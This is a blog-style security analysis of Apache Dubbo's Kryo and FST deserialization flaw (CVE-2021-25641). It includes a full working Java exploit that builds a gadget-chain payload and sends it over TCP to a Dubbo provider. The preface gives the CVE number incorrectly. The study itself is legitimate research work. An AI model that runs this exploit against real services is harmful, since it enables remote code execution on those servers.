Dubbo's deserialization security -- kryo and fst

Posted by Noggin on Mon, 22 Nov 2021 12:32:30 +0100

0 Preface

This is the second part of the study and Research on the security of Dubbo deserialization. Let's take a look at the security problem of Dubbo's packet protocol design under Dubbo 2. X, so that an attacker can select a dangerous deserialization protocol to realize RCE. The recurrence vulnerability is cve-2021-45641. Apache Dubbo protocol bypasses the vulnerability

1 Dubbo's protocol design

Dubbo can support many types of deserialization protocols to meet the needs of different systems for RPC, such as

  • Cross language serialization protocols: protostaff, protobuf, thrift, Avro, msgpack
  • Serialization method for Java language: Kryo,FST
  • Deserialization method based on Json text form: Json, Gson

Dubbo has a number for the supported protocols, and each serialization protocol has a corresponding number, so that the corresponding deserialization method can be selected according to the number after obtaining TCP traffic. Therefore, this is the secret of Dubbo supporting so many serialization protocols, but it is also the danger. The number of each serialization protocol can be seen in org.apache.dubbo.common.serialize.Constants

In Dubbo's RPC communication, the front of the traffic specification is the header, which determines the serialization protocol used in the communication process between the client and the service provider by specifying the SerializationID. The specific data packet regulations of Dubbo communication are shown in the figure below

Although Dubbo's provider uses the hessian2 protocol by default, we are free to modify the SerializationID and select dangerous (DE) serialization protocols, such as kryo and fst.

2 trigger point of kryo serialization protocol in Dubbo

First, repeat CVE-2021-45641 according to the steps in the previous article( https://www.cnblogs.com/bitterz/p/15526206.html ), install zookeeper and Dubbo samples, open Dubbo samples API with idea, and modify pom.xml as follows

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>dubbomytest</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>2.7.6</dubbo.version>
        <junit.version>4.12</junit.version>
        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
        <image.name>${project.artifactId}:${dubbo.version}</image.name>
        <java-image.name>openjdk:8</java-image.name>
        <dubbo.port>20880</dubbo.port>
        <zookeeper.port>2181</zookeeper.port>
        <main-class>org.apache.dubbo.samples.provider.Application</main-class>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-common</artifactId>
            <version>2.7.3</version>
        </dependency>

        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <version>2.7.3</version>
            <type>pom</type>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

    </dependencies>
</project>

The main purpose is to make dubbo version < = 2.7.3 directly on the code and modify it from[ https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]

package com.bitterz.dubbo;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstSerialization;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.util.HashMap;
import java.util.HashSet;

public class FstAndKryoGadget {
    // Customize URL for remote targets
    public static String DUBBO_HOST_NAME = "localhost";
    public static int    DUBBO_HOST_PORT = 20880;

    //Exploit variant - comment to switch exploit variants
    public static String EXPLOIT_VARIANT = "Kryo";
//    public static String EXPLOIT_VARIANT = "FST";

    // Magic header from ExchangeCodec
    protected static final short MAGIC = (short) 0xdabb;
    protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
    protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];

    // Message flags from ExchangeCodec
    protected static final byte FLAG_REQUEST = (byte) 0x80;
    protected static final byte FLAG_TWOWAY = (byte) 0x40;


    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        member.setAccessible(true);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
        // Create a malicious class to throw the call chain with an error
        ClassPool pool = new ClassPool(true);
        CtClass evilClass = pool.makeClass("EvilClass");
        evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        // Let the dubbo provider report an error, display the call chain, or play the calculator
        evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        // evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClassBytes = evilClass.toBytecode();

        // Build the key attributes of templates, especially _bytecodes
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // Dubbo has its own fastJson parser, and in this case, the getter method of the object will be called automatically, triggering TemplatesImpl.getOutputProperties()
        JSONObject jo = new JSONObject();
        jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper

        // Call JSON.toString method with Xstring.equals
        XString x = new XString("HEYO");
        Object v1 = new HotSwappableTargetSource(jo);
        Object v2 = new HotSwappableTargetSource(x);

        // Cancel the comments in the following three lines, add the comments of new hashMap, and modify the rear objectOutput.writeObject(hashMap) to hashSet to replace the call chain
        // HashSet hashSet = new HashSet();
        // Field m = getField(HashSet.class, "map");
        // HashMap hashMap = (HashMap) m.get(hashSet);

        HashMap<Object, Object> hashMap = new HashMap<>();

        // Reflect and modify the properties in hashMap to save v1 and v2 to avoid triggering payload by calling hashMap.put locally
        setFieldValue(hashMap, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(hashMap, "table", tbl);

        // Start preparing byte stream
        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        // Select FST or Kryo protocol for serialization
        Serialization s;
        ObjectOutput objectOutput;
        switch(EXPLOIT_VARIANT) {
            case "FST":
                s = new FstSerialization();
                objectOutput = new FstObjectOutput(bos);
                break;
            case "Kryo":
            default:
                s = new KryoSerialization();
                objectOutput = new KryoObjectOutput(bos);
                break;
        }

        // 0xc2 is Hessian2 + two-way + Request serialization
        // Kryo | two-way | Request is 0xc8 on third byte
        // FST | two-way | Request is 0xc9 on third byte

        // Assemble the header of the packet
        byte requestFlags =  (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
        byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
                0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
        bos.write(header);

        // Contents of assembly data package
        RpcInvocation ri = new RpcInvocation();
        ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
        //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        // It needs to be added according to the existing services of dubbo
        ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});

        // Strings need only satisfy "readUTF" calls until "readObject" is reached
        // Enter the following four casually, it doesn't matter
        objectOutput.writeUTF("2.0.1");
        objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
        objectOutput.writeUTF("0.1.0");
        objectOutput.writeUTF("sayello");

        // You can't enter it casually
        objectOutput.writeUTF("Ljava/lang/String;"); //*/
        // Serializing malicious objects
        objectOutput.writeObject(hashMap);
        objectOutput.writeObject(ri.getAttachments());

        objectOutput.flushBuffer();
        byte[] payload = bos.toByteArray();
        int len = payload.length - header.length;
        Bytes.int2bytes(len, payload, 12);

        // Output packets in hexadecimal
        for (int i = 0; i < payload.length; i++) {
            System.out.print(String.format("%02X", payload[i]) + " ");
            if ((i + 1) % 8 == 0)
                System.out.print(" ");
            if ((i + 1) % 16 == 0 )
                System.out.println();

        }
        // Convert packet to String output
        System.out.println();
        System.out.println(new String(payload));

        // Send payload using TCP
        Socket pingSocket = null;
        OutputStream out = null;

        try {
            pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
            out = pingSocket.getOutputStream();
        } catch (IOException e) {
            return;
        }
        out.write(payload);
        out.flush();
        out.close();
        pingSocket.close();
        System.out.println("Sent!");
    }
}

There are too many comments, so I won't expand the Templates.getOutputProperties() and fastjason's automatic calling of the target getter method in detail (in fact, all the call chains can be seen on the provider side for the error reporting method). After running the code and attacking the dubbo provider, run the previous code new java.io.IOException().printStackTrace(); with the following effects

From the perspective of call chain, when kryo deserializes, different deserializers are used for different object types, and MapSerializer must have the same operation as hessian2. Call the map.put method to see the source code:

  • com.esotericsoftware.kryo.serializers.MapSerializer#read

Part of the code is omitted, focusing only on the core part. In the for loop, key and value are constantly de serialized and map.put is used to restore the object. The map is automatically created according to the type passed. That is to say, the HashMap class we sent to provider creates an empty HashMap object in provider, which is map here, and then calls the HashMap.put method. Put in key value.

On the dubbo provider side, break the point at map.put and enter debugging. Follow up at map.put. You can see the classic HashMap. Put - > HashMap. Putval - > key. Equals (k) (note that key and K are different instance objects of hotswapabletargetsource class. Combined with the previous code, where key=v2, k=v1, v1.target=XString)

That is, hotswapabletargetsource. Equals()

When processing & & judgment in java, if the condition result before & & is false, the statement after & & symbol will not be executed. At this time, the variable other = V1 = hotswapabletargetsource, so other instanceof hotswapabletargetsource = true, so the statement after & & will be executed. At this time, combined with the previous code this=v2, so this.target=XString("HEYO") , and other.target=jo, so when XString.equals(jo) is called, follow up the XString.equals method

obj2 is the JSONObject object in our constructed code. At this time, call the JSONObject.toString() method. Further follow up, call the toJSONString method

The deserialization process of fastjson will automatically call all getter methods of the deserialization target class, that is, to the TemplatesImpl.getOutputProperties method, resulting in arbitrary code execution.

Therefore, the dangerous trigger point of kryo serialization protocol is actually from the Map type. The Map.put method will be used for deserialization, so it will call methods such as equals and hashCode to cause RCE.

3 trigger point of fst serialization protocol in Dubbo

3.1 fst reproduction

If you have a lot of source code, don't go step by step. Directly find the readObject method of org.apache.dubbo.common.serialize.fst.FstObjectInput, follow up its specific implementation method, and reach the readObject method of org.nustaq.serialization.FSTObjectInput. Further follow up can see that FST will also select the deserializer according to the deserialization object type and call the deserializer For the instance method of, take a look at the code in the screenshot

Note the FSTObjectSerializer class, which is an interface, and see what its specific implementation is

FST is similar to the previous kryo and hessian2 serialization protocols. For different types, objects are restored through different deserializers during deserialization. Obviously, FST protocol also uses a special deserializer for Map, following the instance method in org.nustaq.serialization.serializers.FSTMapSerializer

This code can grasp the key point at a glance. In the for loop, it continuously deserializes and restores the key and value, and then uses map.put to restore the key and value. Obviously, it is also the trigger chain of HashMap. I use it https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept poc tried it out and found that it did not pop up the calculator, and debugged it from the provider terminal in the code above. When FST processes the Templates object, it will call its readObject method to restore

It can be seen from the above that the provider side has not been restored_ bytecodes attribute. I don't know the specific reason. Finally, the vulnerability poc of FST serialization protocol in Dubbo is not reproduced.

3.2 train of thought

I'll take a closer look at the article written by the submitter of CVE-2021-25641 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/

It is mentioned that there are POCS that do not need fastjson, and more versions can be used

Specifically, the reason why fastjson is used to achieve rce is that when Dubbo < = 2.7.3, the version of fastjson < = 1.2.46. If it is extended, it can be played with a general payload.

There are more versions of poc attacks that do not rely on fastjson in the figure, but the author did not disclose this poc. He dug it himself and found no classes that can continue to be connected after the equals, hashCode and toString methods (excluding fastjson). Let's come back and supplement it when the bosses come out of the poc in the future

4 Summary

CVE-2021-25641 is a very aggressive vulnerability. As long as you find the provider, you can deserialize attacks in the case of version 2.7.x, but the POCS you see now depend on fastjson. Please analyze the POCS that do not depend on fastjson and learn:)

dubbo 2.x designed the dubbo packet protocol in order to automatically match a variety of serialization protocols. As a result, the design lacked security verification, resulting in such a dangerous vulnerability.